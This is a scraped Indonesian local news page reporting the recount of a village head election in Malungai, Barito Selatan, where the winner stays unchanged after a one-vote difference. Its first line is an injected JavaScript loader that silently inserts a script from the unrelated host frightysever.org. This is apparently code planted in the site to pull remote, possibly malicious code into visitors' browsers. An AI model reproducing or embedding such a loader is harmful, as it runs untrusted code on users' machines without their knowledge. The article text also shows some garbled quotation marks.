(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Terkait gugatan hasil Pemilihan Kades (Pilkades) di desa Malungai terjadi selisih suara di bawah 2%, sesuai peraturan harus dilakukan penghitungan ulang suara.
Plt Kepala Dinas Sosial Pemberdayaan Masyarakat Desa (DSPMD) Barsel Ahkmad Haitami mengatakan, menyikapi hasil gugatan laporan terkait hasil Pilkades serentak 3 Oktober lalu, termasuk di desa Malungai, maka hari ini dilakukan penghitungan ulang dengan membuka kotak suara hasil Pilkades desa Malungai.
“Jadi kita selaku panitia penyelenggara bersama Panwas kabupaten, kecamatan, panitia desa dan para penggugat, bersama-sama melakukan penghitungan ulang hasil suara Pilkades desa Malungai,†kata Haitami kepada Kanalkalimantan.com, Rabu (30/10).
Ia mengungkapkan, walaupun sebenarnya pihak pelapor ingin melakukan pembatalan, namun berdasarkan aturan yang tidak adanya pembatalan atau PSU dan hanya ada penghitungan ulang untuk hasil selisih di bawah 2%.
“Oleh karena itu kita hanya bisa memfasilitasi dengan melakukan penghitungan ulang hasil suara yang dilaksanakan hari ini di aula kantor DPSMD Barsel,†ucap Haitami.
Terkait hasil penghitungan ulang, hanya ada selisih 1 suara, yakni peserta nomor 1 berkurang 1 dan peserta nomor 3 berkurang 1 dan nomor 2. Namun untuk hasilnya tetap tidak merubah hasil pada Pilkades buntuk pemenang masih tetap peserta nomor 3.
“Jadi walaupun ada perubahan selisih 1 suara hari ini, hasilnya tidak merubah ketetapan beberapa waktu lalu untuk pemenang tetap peserta nomor 3,†beber Haitami.
Ditambahkannya, untuk ketetapan hasil hari ini puas tidak puas untuk para pelapor tidak bisa diganggu gugat lagi, bila memang tidak menerima silahkan untuk melanjutkan ke PTUN. Sementara ia juga menghimbau untuk masyarakat desa Malungai, kiranya bisa menjaga kondusifitas terkait apapun hasil Pilkades, semua kembali satu tujuan siapapun pemimpin desa tentu untuk membangun lebih baik.
“Jadi hasil ini ketetapannya sudah tidak bisa digangu gugat lagi dan untuk masyarakat desa Malungai, marilah bersama-sama dukung dan kawal pemimpin desa yang baru untuk membangun desa Malungai lebih baik lagi,†pungkas Haitami. (digdo)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.